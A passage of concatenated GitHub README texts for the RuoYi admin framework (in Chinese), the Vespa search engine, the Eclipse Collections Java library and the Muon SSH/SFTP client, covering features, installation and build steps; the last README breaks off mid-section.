操作日志：系统正常操作日志记录和查询；系统异常信息日志记录和查询。 10. 登录日志：系统登录日志记录查询包含登录异常。 11. 在线用户：当前系统中活跃用户状态监控。 12. 定时任务：在线（添加、修改、删除)任务调度包含执行结果日志。 13. 代码生成：前后端代码的生成（java、html、xml、sql）支持CRUD下载 。 14. 系统接口：根据业务代码自动生成相关的api接口文档。 15. 服务监控：监视当前系统CPU、内存、磁盘、堆栈等相关信息。 16. 缓存监控：对系统的缓存信息查询，命令统计等。 17. 在线构建器：拖动表单元素生成相应的HTML代码。 18. 连接池监视：监视当前系统数据库连接池状态，可进行分析SQL找出系统性能瓶颈。 ## 在线体验 - admin/admin123 - 陆陆续续收到一些打赏，为了更好的体验已用于演示服务器升级。谢谢各位小伙伴。 演示地址：http://vue.ruoyi.vip 文档地址：http://doc.ruoyi.vip ## 演示图 <table> <tr> <td><img src="https://oscimg.oschina.net/oscnet/cd1f90be5f2684f4560c9519c0f2a232ee8.jpg"/></td> <td><img src="https://oscimg.oschina.net/oscnet/1cbcf0e6f257c7d3a063c0e3f2ff989e4b3.jpg"/></td> </tr> <tr> <td><img src="https://oscimg.oschina.net/oscnet/up-8074972883b5ba0622e13246738ebba237a.png"/></td> <td><img src="https://oscimg.oschina.net/oscnet/up-9f88719cdfca9af2e58b352a20e23d43b12.png"/></td> </tr> <tr> <td><img src="https://oscimg.oschina.net/oscnet/up-39bf2584ec3a529b0d5a3b70d15c9b37646.png"/></td> <td><img src="https://oscimg.oschina.net/oscnet/up-936ec82d1f4872e1bc980927654b6007307.png"/></td> </tr> <tr> <td><img src="https://oscimg.oschina.net/oscnet/up-b2d62ceb95d2dd9b3fbe157bb70d26001e9.png"/></td> <td><img src="https://oscimg.oschina.net/oscnet/up-d67451d308b7a79ad6819723396f7c3d77a.png"/></td> </tr> <tr> <td><img src="https://oscimg.oschina.net/oscnet/5e8c387724954459291aafd5eb52b456f53.jpg"/></td> <td><img src="https://oscimg.oschina.net/oscnet/644e78da53c2e92a95dfda4f76e6d117c4b.jpg"/></td> </tr> <tr> <td><img src="https://oscimg.oschina.net/oscnet/up-8370a0d02977eebf6dbf854c8450293c937.png"/></td> <td><img src="https://oscimg.oschina.net/oscnet/up-49003ed83f60f633e7153609a53a2b644f7.png"/></td> </tr> <tr> <td><img src="https://oscimg.oschina.net/oscnet/up-d4fe726319ece268d4746602c39cffc0621.png"/></td> <td><img src="https://oscimg.oschina.net/oscnet/up-c195234bbcd30be6927f037a6755e6ab69c.png"/></td> </tr> <tr> <td><img src="https://oscimg.oschina.net/oscnet/b6115bc8c31de52951982e509930b20684a.jpg"/></td> <td><img src="https://oscimg.oschina.net/oscnet/up-5e4daac0bb59612c5038448acbcef235e3a.png"/></td> </tr> </table> ## 若依前后端分离交流群 QQ群： [](https://jq.qq.com/?_wv=1027&k=5bVB1og) [](https://jq.qq.com/?_wv=1027&k=5eiA4DH) [](https://jq.qq.com/?_wv=1027&k=5AxMKlC) [](https://jq.qq.com/?_wv=1027&k=51G72yr) [](https://jq.qq.com/?_wv=1027&k=VvjN2nvu) [](https://jq.qq.com/?_wv=1027&k=5vYAqA05) [](https://jq.qq.com/?_wv=1027&k=kOIINEb5) [](https://jq.qq.com/?_wv=1027&k=UKtX5jhs) [](https://jq.qq.com/?_wv=1027&k=EI9an8lJ) [](https://jq.qq.com/?_wv=1027&k=SWCtLnMz) [](https://jq.qq.com/?_wv=1027&k=96Dkdq0k) [](https://jq.qq.com/?_wv=1027&k=0fsNiYZt) [](https://jq.qq.com/?_wv=1027&k=7xw4xUG1) [](https://jq.qq.com/?_wv=1027&k=eCx8eyoJ) [](https://jq.qq.com/?_wv=1027&k=SpyH2875) [](https://jq.qq.com/?_wv=1027&k=tKEt51dz) [](http://qm.qq.com/cgi-bin/qm/qr?_wv=1027&k=0vBbSb0ztbBgVtn3kJS-Q4HUNYwip89G&authKey=8irq5PhutrZmWIvsUsklBxhj57l%2F1nOZqjzigkXZVoZE451GG4JHPOqW7AW6cf0T&noverify=0&group_code=143961921) [](http://qm.qq.com/cgi-bin/qm/qr?_wv=1027&k=ZFAPAbp09S2ltvwrJzp7wGlbopsc0rwi&authKey=HB2cxpxP2yspk%2Bo3WKTBfktRCccVkU26cgi5B16u0KcAYrVu7sBaE7XSEqmMdFQp&noverify=0&group_code=174951577) [](http://qm.qq.com/cgi-bin/qm/qr?_wv=1027&k=Fn2aF5IHpwsy8j6VlalNJK6qbwFLFHat&authKey=uyIT%2B97x2AXj3odyXpsSpVaPMC%2Bidw0LxG5MAtEqlrcBcWJUA%2FeS43rsF1Tg7IRJ&noverify=0&group_code=161281055) [](http://qm.qq.com/cgi-bin/qm/qr?_wv=1027&k=XIzkm_mV2xTsUtFxo63bmicYoDBA6Ifm&authKey=dDW%2F4qsmw3x9govoZY9w%2FoWAoC4wbHqGal%2BbqLzoS6VBarU8EBptIgPKN%2FviyC8j&noverify=0&group_code=138988063) 点击按钮入群。

vespa-engine/vespa

AI + Data, online. https://vespa.ai

2016-06-03T20:54:20Z

<!-- Copyright Vespa.ai. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root. --> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://vespa.ai/assets/vespa-ai-logo-heather.svg"> <source media="(prefers-color-scheme: light)" srcset="https://vespa.ai/assets/vespa-ai-logo-rock.svg"> <img alt="#Vespa" width="200" src="https://vespa.ai/assets/vespa-ai-logo-rock.svg" style="margin-bottom: 25px;"> </picture> <br/><br/> Search, make inferences in, and organize vectors, tensors, text and structured data, at serving time and any scale. This repository contains all the code required to build and run all of Vespa yourself, and where you can see all development as it is happening. All the content in this repository is licensed under the Apache 2.0 license. A new release of Vespa is made from this repository's master branch every morning CET Monday through Thursday. Build status: [](https://cd.screwdriver.cd/pipelines/6386) - Home page: [https://vespa.ai](https://vespa.ai) - Documentation: [https://docs.vespa.ai](https://docs.vespa.ai) - Continuous build: [https://factory.vespa.oath.cloud](https://factory.vespa.oath.cloud) - Run applications in the cloud for free: [https://cloud.vespa.ai](https://cloud.vespa.ai) ## Table of contents - [Background](#background) - [Install](#install) - [Usage](#usage) - [Contribute](#contribute) - [Building](#building) - [License](#license) ## Background Use cases such as search, recommendation and personalization need to select a subset of data in a large corpus, evaluate machine-learned models over the selected data, organize and aggregate it and return it, typically in less than 100 milliseconds, all while the data corpus is continuously changing. This is hard to do, especially with large data sets that needs to be distributed over multiple nodes and evaluated in parallel. Vespa is a platform which performs these operations for you with high availability and performance. It has been in development for many years and is used on a number of large internet services and apps which serve hundreds of thousands of queries from Vespa per second. ## Install Deploy your Vespa applications to the cloud service: [https://cloud.vespa.ai](https://cloud.vespa.ai), or run your own Vespa instance: [https://docs.vespa.ai/en/getting-started.html](https://docs.vespa.ai/en/getting-started.html) ## Usage - The application created in the getting started guides linked above are fully functional and production ready, but you may want to [add more nodes](https://docs.vespa.ai/en/multinode-systems.html) for redundancy. - See [developing applications](https://docs.vespa.ai/en/developer-guide.html) on adding your own Java components to your Vespa application. - [Vespa APIs](https://docs.vespa.ai/en/api.html) is useful to understand how to interface with Vespa - Explore the [sample applications](https://github.com/vespa-engine/sample-apps/tree/master) - Follow the [Vespa Blog](https://blog.vespa.ai/) for feature updates / use cases Full documentation is at [https://docs.vespa.ai](https://docs.vespa.ai). ## Contribute We welcome contributions! See [CONTRIBUTING.md](CONTRIBUTING.md) to learn how to contribute. If you want to contribute to the documentation, see [https://github.com/vespa-engine/documentation](https://github.com/vespa-engine/documentation) ## Building You do not need to build Vespa to use it, but if you want to contribute you need to be able to build the code. This section explains how to build and test Vespa. To understand where to make changes, see [Code-map.md](Code-map.md). Some suggested improvements with pointers to code are in [TODO.md](TODO.md). ### Development environment C++ and Java building is supported on AlmaLinux 8. The Java source can also be built on any platform having Java 17 and Maven installed. Use the following guide to set up a complete development environment using Docker for building Vespa, running unit tests and running system tests: [Vespa development on AlmaLinux 8](https://github.com/vespa-engine/docker-image-dev#vespa-development-on-almalinux-8). ### Build Java modules export MAVEN_OPTS="-Xms128m -Xmx1024m" ./bootstrap.sh java mvn install --threads 1C Use this if you only need to build the Java modules, otherwise follow the complete development guide above. ## License Code licensed under the Apache 2.0 license. See [LICENSE](LICENSE) for terms.

eclipse/eclipse-collections

Eclipse Collections is a collections framework for Java with optimized data structures and a rich, functional and fluent API.

2015-11-24T16:22:48Z

<!-- ~ Copyright (c) 2022 Goldman Sachs and others. ~ All rights reserved. This program and the accompanying materials ~ are made available under the terms of the Eclipse Public License v1.0 ~ and Eclipse Distribution License v. 1.0 which accompany this distribution. ~ The Eclipse Public License is available at https://www.eclipse.org/legal/epl-v10.html ~ and the Eclipse Distribution License is available at ~ https://www.eclipse.org/org/documents/edl-v10.php. --> [![][maven img]][maven] [![][release img]][release] [![][javadoc api img]][javadoc api] [![][javadoc impl img]][javadoc impl] [![][license-epl img]][license-epl] [![][license-edl img]][license-edl] [![][snyk-badge img]][snyk-badge] [![][actions unit-tests img]][actions unit-tests] [![][actions acceptance-tests img]][actions acceptance-tests] [![][actions performance-tests img]][actions performance-tests] [![][actions checkstyle img]][actions checkstyle] [![][actions javadoc img]][actions javadoc] <a href="https://eclipse.dev/collections/"><img src="https://github.com/eclipse/eclipse-collections/blob/master/artwork/eclipse-collections-logo.png" height="50%" width="50%"></a> #### [English](https://eclipse.dev/collections/) | [Deutsch](https://eclipse.dev/collections/de/index.html) | [Ελληνικά](https://eclipse.dev/collections/el/index.html) | [Español](https://eclipse.dev/collections/es/index.html) | [中文](https://eclipse.dev/collections/cn/index.html) | [Français](https://eclipse.dev/collections/fr/index.html) | [日本語](https://eclipse.dev/collections/ja/index.html) | [Norsk (bokmål)](https://eclipse.dev/collections/no-nb/index.html) | [Português-Brasil](https://eclipse.dev/collections/pt-br/index.html) | [Русский](https://eclipse.dev/collections/ru/index.html) | [हिंदी](https://eclipse.dev/collections/hi/index.html) | [Srpski (latinica)](https://eclipse.dev/collections/sr-rs-latn/index.html) Eclipse Collections is a comprehensive collections library for Java. The library enables productivity and performance by delivering an expressive and efficient set of APIs and types. The iteration protocol was inspired by the Smalltalk collection framework, and the collections are compatible with the Java Collection Framework types. Eclipse Collections is compatible with Java 8+. Eclipse Collections is a part of the OpenJDK [Quality Outreach](https://wiki.openjdk.java.net/display/quality/Quality+Outreach) program, and it is validated for different versions of the OpenJDK. ## Why Eclipse Collections? * Productivity * Supports _eager_, _lazy_, _serial_ and _parallel_ iteration patterns * [Rich][RichIterable], functional, and fluent APIs with eager methods available directly on collection types * Provides [`List`][ListIterable], [`Set`][SetIterable], [`Bag`][Bag], [`Stack`][StackIterable], [`Map`][MapIterable], [`Multimap`][Multimap], [`BiMap`][BiMap], [`Interval`][Interval] object container types * [Readable][RichIterable], [`Mutable`][MutableCollection], and [`Immutable`][ImmutableCollection] interfaces for each collection type with covariant return types * [Blog: Rich, Lazy, Mutable, Immutable interfaces in Eclipse collections][BlogRichLazyMutableImmutable] * Mutable and Immutable Collection [Factories][Factories] * [Blog series: As a matter of Factory][BlogAsAMatterOfFactory] * [Adapters][Adapters] and [Utility][Utilities] classes for JCF Types * [Blog: Iterate over any Iterable in Java][BlogIterateOverAnyIterableInJava] * Performance * Memory Efficient Containers * [Blog: UnifiedMap: How it works?][BlogUnifiedMapHowItWorks] * [Blog: UnifiedSet - The Memory Saver][BlogUnifiedSetTheMemorySaver] * Optimized Eager, [`Lazy`][LazyIterable] and [`Parallel`][ParallelIterable] APIs * [Blog: The unparalleled design of Eclipse Collections][BlogUnparalleledDesignOfEclipseCollections] * [Primitive][PrimitiveIterable] Collections for all primitive types * Provides `List`, `Set`, `Bag`, `Stack`, `Map`, `Interval` primitive container types * Maturity * Eclipse Collections has been actively developed and used in financial services applications since 2004 * Eclipse Collections existed for a decade before concise lambda expressions were added in Java 8 * [Blog: My ten-year quest for concise lambda expressions in Java][BlogLambdaExpressionsInJava] ## Learn Eclipse Collections * Blog Series: [Getting Started with Eclipse Collections][BlogGettingStartedWithEclipseCollections] * Blog Series: [The missing Java data structures no one ever told you about][BlogTheMissingJavaDataStructures] * Blog: [Java has Streams. Do we need third-party collections?][BlogJavaHasStreamsDoWeNeedCollections] * [Some Quick Code Examples](./README_EXAMPLES.md) * [Eclipse Collections Katas](https://github.com/eclipse/eclipse-collections-kata), a fun way to help you learn idiomatic Eclipse Collections usage. * Start Here - [Pet Kata](https://eclipse.github.io/eclipse-collections-kata/pet-kata/#/) * Continue Here - [Company Kata](https://eclipse.github.io/eclipse-collections-kata/company-kata/#/) * [Eclipse Collections Reference Guide](https://github.com/eclipse/eclipse-collections/blob/master/docs/0-RefGuide.adoc) and [Javadoc](https://eclipse.dev/collections/javadoc/11.1.0/index.html) * [Serializing Eclipse Collections with Jackson](./docs/jackson.md) * [Articles](https://github.com/eclipse/eclipse-collections/wiki/Articles) and [Blogs](https://medium.com/tag/eclipse-collections/latest) * Some OSS projects that use Eclipse Collections * [Neo4J](https://github.com/neo4j/neo4j), [FINOS Legend](https://github.com/finos/legend-pure), [Reladomo](https://github.com/goldmansachs/reladomo), [Liftwizard](https://github.com/motlin/liftwizard), [Exchange Core](https://github.com/mzheravin/exchange-core), [Dataframe EC](https://github.com/vmzakharov/dataframe-ec), [MapDB](https://github.com/jankotek/mapdb), [Code Browser](https://github.com/yawkat/code-browser), [Obevo](https://github.com/goldmansachs/obevo), [BNY Mellon Code Katas](https://github.com/BNYMellon/CodeKatas), [Eclipse Nebula NatTable](https://www.eclipse.org/nattable/index.php), [Eclipse VIATRA](https://github.com/viatra/org.eclipse.viatra), [Jackson Datatypes Collections](https://github.com/FasterXML/jackson-datatypes-collections) * If you work on an open source project that uses Eclipse Collections, let us know! ## Eclipse Collections and JDK Compatibility Matrix | EC | JDK 5 - 7 | JDK 8 | JDK 9 - 10 | JDK 11 - 14 | JDK 15 - 21 | |--------|-----------|---------|------------|-------------|-------------| | 7.x.x | &check; | &check; | | | | | 8.x.x | | &check; | | | | | 9.x.x | | &check; | &check; | &check; | | | 10.x.x | | &check; | &check; | &check; | | | 10.4.0 | | &check; | &check; | &check; | &check; | | 11.x.x | | &check; | &check; | &check; | &check; | | 12.x.x | | | | &check; | &check; | **Note:** Eclipse Collections 12.x will be compatible with Java 11+. EC 12.0 has not been released as GA yet, but there are a few milestone releases available to test with. ## Acquiring Eclipse Collections ### Maven ```xml <dependency> <groupId>org.eclipse.collections</groupId> <artifactId>eclipse-collections-api</artifactId> <version>11.1.0</version> </dependency> <dependency> <groupId>org.eclipse.collections</groupId> <artifactId>eclipse-collections</artifactId> <version>11.1.0</version> </dependency> ``` ### Gradle ```groovy implementation 'org.eclipse.collections:eclipse-collections-api:11.1.0' implementation 'org.eclipse.collections:eclipse-collections:11.1.0' ``` ### OSGi Bundle Eclipse software repository location: https://download.eclipse.org/collections/11.1.0/repository ## How to Contribute We welcome contributions! We accept contributions via pull requests here in GitHub. Please see [How To Contribute](CONTRIBUTING.md) to get started. ## Additional information * Project Website: https://eclipse.dev/collections * Eclipse PMI: https://projects.eclipse.org/projects/technology.collections * StackOverflow: https://stackoverflow.com/questions/tagged/eclipse-collections * Mailing lists: https://dev.eclipse.org/mailman/listinfo/collections-dev * Forum: https://www.eclipse.org/forums/index.php?t=thread&frm_id=329 * Working with GitHub: https://github.com/eclipse/eclipse-collections/wiki/Working-with-GitHub [actions acceptance-tests]:https://github.com/eclipse/eclipse-collections/actions?query=workflow%3A%22Acceptance+Tests%22 [actions acceptance-tests img]:https://github.com/eclipse/eclipse-collections/workflows/Acceptance%20Tests/badge.svg?branch=master [actions unit-tests]:https://github.com/eclipse/eclipse-collections/actions?query=workflow%3A%22Unit+tests%22 [actions unit-tests img]:https://github.com/eclipse/eclipse-collections/workflows/Unit%20tests/badge.svg?branch=master [actions performance-tests]:https://github.com/eclipse/eclipse-collections/actions?query=workflow%3A%22Performance+Tests%22 [actions performance-tests img]:https://github.com/eclipse/eclipse-collections/workflows/Performance%20Tests/badge.svg?branch=master [actions checkstyle]:https://github.com/eclipse/eclipse-collections/actions?query=workflow%3A%22Checkstyle%22 [actions checkstyle img]:https://github.com/eclipse/eclipse-collections/workflows/Checkstyle/badge.svg?branch=master [actions javadoc]:https://github.com/eclipse/eclipse-collections/actions?query=workflow%3A%22JavaDoc%22 [actions javadoc img]:https://github.com/eclipse/eclipse-collections/workflows/JavaDoc/badge.svg?branch=master [maven]:https://search.maven.org/#search|gav|1|g:"org.eclipse.collections"%20AND%20a:"eclipse-collections" [maven img]:https://maven-badges.herokuapp.com/maven-central/org.eclipse.collections/eclipse-collections/badge.svg [release]:https://github.com/eclipse/eclipse-collections/releases [release img]:https://img.shields.io/github/release/eclipse/eclipse-collections.svg [javadoc api]:https://javadoc.io/doc/org.eclipse.collections/eclipse-collections-api [javadoc api img]:https://javadoc.io/badge2/org.eclipse.collections/eclipse-collections-api/javadoc_eclipse_collections_api.svg [javadoc impl]:https://javadoc.io/doc/org.eclipse.collections/eclipse-collections [javadoc impl img]:https://javadoc.io/badge2/org.eclipse.collections/eclipse-collections/javadoc_eclipse_collections.svg [license-epl]:LICENSE-EPL-1.0.txt [license-epl img]:https://img.shields.io/badge/License-EPL-blue.svg [license-edl]:LICENSE-EDL-1.0.txt [license-edl img]:https://img.shields.io/badge/License-EDL-blue.svg [snyk-badge]:https://snyk.io/vuln/maven:org.eclipse.collections:eclipse-collections@11.1.0?utm_medium=referral&utm_source=badge&utm_campaign=snyk-widget [snyk-badge img]:https://snyk-widget.herokuapp.com/badge/mvn/org.eclipse.collections/eclipse-collections/11.1.0/badge.svg [RichIterable]: https://eclipse.dev/collections/javadoc/11.1.0/org/eclipse/collections/api/RichIterable.html [ListIterable]: https://eclipse.dev/collections/javadoc/11.1.0/org/eclipse/collections/api/list/ListIterable.html [SetIterable]: https://eclipse.dev/collections/javadoc/11.1.0/org/eclipse/collections/api/set/SetIterable.html [Bag]: https://eclipse.dev/collections/javadoc/11.1.0/org/eclipse/collections/api/bag/Bag.html [StackIterable]: https://eclipse.dev/collections/javadoc/11.1.0/org/eclipse/collections/api/stack/StackIterable.html [MapIterable]: https://eclipse.dev/collections/javadoc/11.1.0/org/eclipse/collections/api/map/MapIterable.html [Multimap]: https://eclipse.dev/collections/javadoc/11.1.0/org/eclipse/collections/api/multimap/Multimap.html [BiMap]: https://eclipse.dev/collections/javadoc/11.1.0/org/eclipse/collections/api/bimap/BiMap.html [Interval]: https://eclipse.dev/collections/javadoc/11.1.0/org/eclipse/collections/impl/list/Interval.html [MutableCollection]: https://eclipse.dev/collections/javadoc/11.1.0/org/eclipse/collections/api/collection/MutableCollection.html [ImmutableCollection]: https://eclipse.dev/collections/javadoc/11.1.0/org/eclipse/collections/api/collection/ImmutableCollection.html [LazyIterable]: https://eclipse.dev/collections/javadoc/11.1.0/org/eclipse/collections/api/LazyIterable.html [ParallelIterable]: https://eclipse.dev/collections/javadoc/11.1.0/org/eclipse/collections/api/ParallelIterable.html [PrimitiveIterable]: https://eclipse.dev/collections/javadoc/11.1.0/org/eclipse/collections/api/PrimitiveIterable.html [Utilities]: https://eclipse.dev/collections/javadoc/11.1.0/org/eclipse/collections/impl/utility/package-summary.html [Adapters]: https://eclipse.dev/collections/javadoc/11.1.0/org/eclipse/collections/impl/collection/mutable/AbstractCollectionAdapter.html [BlogRichLazyMutableImmutable]: https://betterprogramming.pub/rich-lazy-mutable-and-immutable-interfaces-in-eclipse-collections-ce64a31b5936?source=friends_link&sk=8056191cec086d565643c8c7b9bd3c1c [BlogLambdaExpressionsInJava]: https://betterprogramming.pub/my-ten-year-quest-for-concise-lambda-expressions-in-java-39fde576b950?source=friends_link&sk=843d797af3f58f893ebdee5e13ce0115 [BlogGettingStartedWithEclipseCollections]: https://donraab.medium.com/blog-series-getting-started-with-eclipse-collections-5634dc39b9e6?source=friends_link&sk=92d8eba8a56167fa840cf9c9ada07326 [BlogTheMissingJavaDataStructures]: https://medium.com/javarevisited/blog-series-the-missing-java-data-structures-no-one-ever-told-you-about-17f34cc4b7e2?source=friends_link&sk=9403ae8464ae3477bfc1e52119c1576d [BlogUnifiedMapHowItWorks]: https://medium.com/oracledevs/unifiedmap-how-it-works-48af0b80cb37 [BlogUnifiedSetTheMemorySaver]: https://medium.com/oracledevs/unifiedset-the-memory-saver-25b830745959 [BlogUnparalleledDesignOfEclipseCollections]: https://medium.com/javarevisited/the-unparalleled-design-of-eclipse-collections-e4340b00f79f?source=friends_link&sk=629e6384171b18233a167a499b46408c [BlogIterateOverAnyIterableInJava]: https://medium.com/javarevisited/iterate-over-any-iterable-in-java-bec78eeeb452?source=friends_link&sk=7d460d1494cb76ce6bc9a5543785224a [BlogAsAMatterOfFactory]: https://medium.com/oracledevs/as-a-matter-of-factory-factories-matter-482d8adff094?source=friends_link&sk=96a4cd8fbc42e309c39a917449e6bff2 [BlogJavaHasStreamsDoWeNeedCollections]: https://motlin.medium.com/java-has-streams-do-we-need-third-party-collections-dd12f473d105 [Factories]: https://eclipse.dev/collections/javadoc/11.1.0/org/eclipse/collections/impl/factory/package-summary.html [10-0-Release]: https://github.com/eclipse/eclipse-collections/releases/tag/10.0.0 [10-1-Release]: https://github.com/eclipse/eclipse-collections/releases/tag/10.1.0 [10-2-Release]: https://github.com/eclipse/eclipse-collections/releases/tag/10.2.0 [10-3-Release]: https://github.com/eclipse/eclipse-collections/releases/tag/10.3.0 [10-4-Release]: https://github.com/eclipse/eclipse-collections/releases/tag/10.4.0 [11-0-Release]: https://github.com/eclipse/eclipse-collections/releases/tag/11.0.0 [11-1-Release]: https://github.com/eclipse/eclipse-collections/releases/tag/11.1.0

subhra74/snowflake

Graphical SFTP client and terminal emulator with helpful utilities

2019-08-29T18:20:52Z

# Muon SSH Terminal/SFTP client ( Formerly Snowflake )  []() Easy and fun way to work with remote servers over SSH. This project is being renamed as previous name "Snowflake" is confusing since there is already a popular product with the same name. Muon is a graphical SSH client. It has a enhanced SFTP file browser, SSH terminal emulator, remote resource/process manager, server disk space analyzer, remote text editor, huge remote log viewer and lots of other helpful tools, which makes it easy to work with remote servers. Muon provides functionality similar to web based control panels but, it works over SSH from local computer, hence no installation required on server. It runs on Linux and Windows. Muon has been tested with serveral Linux and UNIX servers, like Ubuntu server, CentOS, RHEL, OpenSUSE, FreeBSD, OpenBSD, NetBSD and HP-UX. [](https://youtu.be/G2qHZ2NodeM "View on YouTube") <h3>Intended audience</h3> <p>The application is targeted mainly towards web/backend developers who often deploy/debug their code on remote servers and not overly fond of complex terminal based commands. It could also be useful for sysadmins as well who manages lots of remote servers manually. </p> <p> <a href="https://dev.to/subhra74/how-to-make-you-life-easier-on-remote-linux-servers-ssh-g7m"> This article explains some more cases </a> </p> <h3>How it works</h3> <div> <img src="https://github.com/subhra74/snowflake-screenshots/raw/master/arch-overview2.png"> </div> <h2>Download:</h2> <table> <tr> <th>Versions</th> <th>Windows</th> <th>Ubuntu/Mint/Debian</th> <th>Linux</th> <th>MacOS</th> <th>Other</th> </tr> <tr> <td> <a href="https://github.com/subhra74/snowflake/releases/tag/v1.0.4">v1.0.4</a> </td> <td> <a href="https://github.com/subhra74/snowflake/releases/download/v1.0.4/snowflake.msi">MSI installer</a> </td> <td> <a href="https://github.com/subhra74/snowflake/releases/download/v1.0.4/snowflake-1.0.4-setup-amd64.deb">DEB installer</a> </td> <td> <a href="https://github.com/subhra74/snowflake/releases/download/v1.0.4/snowflake-1.0.4-setup-amd64.bin">Generic installer (64 bit)</a> </td> <td> TBD </td> <td> <a href="https://github.com/subhra74/snowflake/releases/download/v1.0.4/snowflake.jar">Portable JAR (Java 13)</a> </td> </tr> <tr> <td> <a href="https://github.com/subhra74/snowflake/releases/tag/v1.0.3">v1.0.3</a> </td> <td> <a href="https://github.com/subhra74/snowflake/releases/download/v1.0.3/snowflake.msi">MSI installer</a> </td> <td> <a href="https://github.com/subhra74/snowflake/releases/download/v1.0.3/snowflake_1.0-3.deb">DEB installer</a> </td> <td> <a href="https://github.com/subhra74/snowflake/releases/download/v1.0.3/snowflake-1.0.3-setup-amd64.tar.xz">Generic installer (64 bit)</a> </td> <td> TBD </td> <td> <a href="https://github.com/subhra74/snowflake/releases/download/v1.0.3/snowflake.jar">JAR (Java 11)</a> </td> </tr> </table> <h2>Building from source:</h2> <pre> This is a standard maven project. If you have configured Java and Maven use: <b>mvn clean install</b> to build the project. The jar will be created in target directory </pre> <h2>Features:</h2> <ul> <li><a href="#a1">Simple graphical interface for common file operations<a></li> <li><a href="#a2">Built in text editor with syntax highlighting and support for sudo<a></li> <li><a href="#a3">Simply view and search huge log/text files in a jiffy<a></li> <li><a href="#a4">Fast powerful file and content search, powered by find command<a></li> <li><a href="#a5">Built in terminal and command snippet<a></li> <li><a href="#a6">Fully equiped task manager<a></li> <li><a href="#a7">Built in graphical disk space analyzer<a></li> <li><a href="#a8">Linux specific tools<a></li> <li><a href="#a9">Manage SSH keys easily<a></li> <li><a href="#a10">Network tools<a></li> </ul> <h4 id="a1">Simple graphical interface for common file operations</h4> <p>The app is designed to provide a simple graphical interface which allow common activities like moving files on server, renaming, cut, copy, paste, archiving, executing scripts, checking free space, calculating directory size, changing permissions, etc, in simple and efficient way. Though file browsing is based on SFTP, the app uses shell commands whenever posssible to perform operations efficiently. For example deleting a directory having huge number of files and sub directories can take a while using SFTP, but with simple rm command it's much faster. Also the app will prompt to user and can run sudo if priviledged operation needs to be performed. No switching to terminal is needed to invoke sudo. Moving files between servers is also supported with simple drag and drop.</p> <div> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/file-browser/1.PNG" width="700"> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/file-browser/2.png" width="700"> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/file-browser/3.png" width="700"> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/file-browser/4.png" width="700"> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/file-browser/5.PNG" width="700"> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/file-browser/6.png" width="700"> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/file-browser/7.PNG" width="700"> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/file-browser/8.png" width="700"> </div> <h4 id="a2">Built in text editor with syntax highlighting and support for sudo</h4> <p>Built in text editor comes in handy when dev or admin needs to modify some files. The editor can invoke sudo and prompt for passwords as needed. This could be very helpfull for modifying global configuration files (like /etc/profile, etc.) from editor without using vi or other terminal based editors.</p> <div> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/text-editor/9.PNG" width="700"> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/text-editor/10.png" width="700"> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/text-editor/11.png" width="700"> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/text-editor/12.png" width="700"> </div> <h4 id="a3">Simply view and search huge log/text files in a jiffy</h4> <p>The built in log viewer can show huge log files, up to several terabytes, in a very efficient manner. There is no need for downloading the whole file for view or search, thus skipping the pain of waiting for a long time to download the file, or using terminal based tools. The log viewer presents a paginated view of the file, which loads in much less time.</p> <div> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/log-viewer/13.PNG" width="700"> </div> <h4 id="a4">Fast powerful file and content search, powered by find command</h4> <p>Powerful search functionality, which allows users to find files by name, type, modification date and can also look inside compressed archives. For example it's now very easy to find all the files created in a date range.</p> <div> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/search/14.PNG" width="700"> </div> <h4 id="a5">Built in terminal and command snippet</h4> <p>With built in terminal, all command line operations can be performed. The terminal is also integrated with the file browser page, so users can open terminal from specific directory or execute scripts in terminal from file browser itself with a click of mouse. Also you can create snippets of your most used commands and execute them with a few clicks without typing again and again.</p> <div> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/terminal/15.PNG" width="700"> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/terminal/16.PNG" width="700"> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/terminal/17.PNG" width="700"> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/terminal/18.PNG" width="700"> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/terminal/19.png" width="700"> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/terminal/20.PNG" width="700"> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/terminal/31.PNG" width="700"> </div> <h4 id="a6">Fully equipped task manager</h4> <p>Monitor resource usage (CPU, RAM, swap) and view/manage processes from a familiar GUI. It is equipped with search and kill process functionaliy, and also with a option to kill processes with sudo. It's very easy to check which process is using most CPU or memory and view the full command line of the process.</p> <div> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/system-monitor/21.PNG" width="700"> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/system-monitor/22.png" width="700"> </div> <h4 id="a7">Built in graphical disk space analyzer</h4> <p>A friendly GUI which allows users to find out what is eating up diskspace. Any of the mounted partitions or directories can be analyzed.</p> <div> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/disk-analyzer/23.PNG" width="700"> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/disk-analyzer/24.PNG" width="700"> </div> <h4 id="a8">Linux specific tools</h4> <p>Few handy tools which can make devs or admins life easier like getting information about the system and distro, starting and stopping systemd services and finding which process is listening on which port.</p> <div> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/linux-tools/25.PNG" width="700"> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/linux-tools/26.PNG" width="700"> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/linux-tools/27.PNG" width="700"> </div> <h4 id="a9">Manage SSH keys easily</h4> <p>Simple and handy UI for creating and managing local and remote SSH keys. Also it supports managing authorized keys from GUI.</p> <div> <img 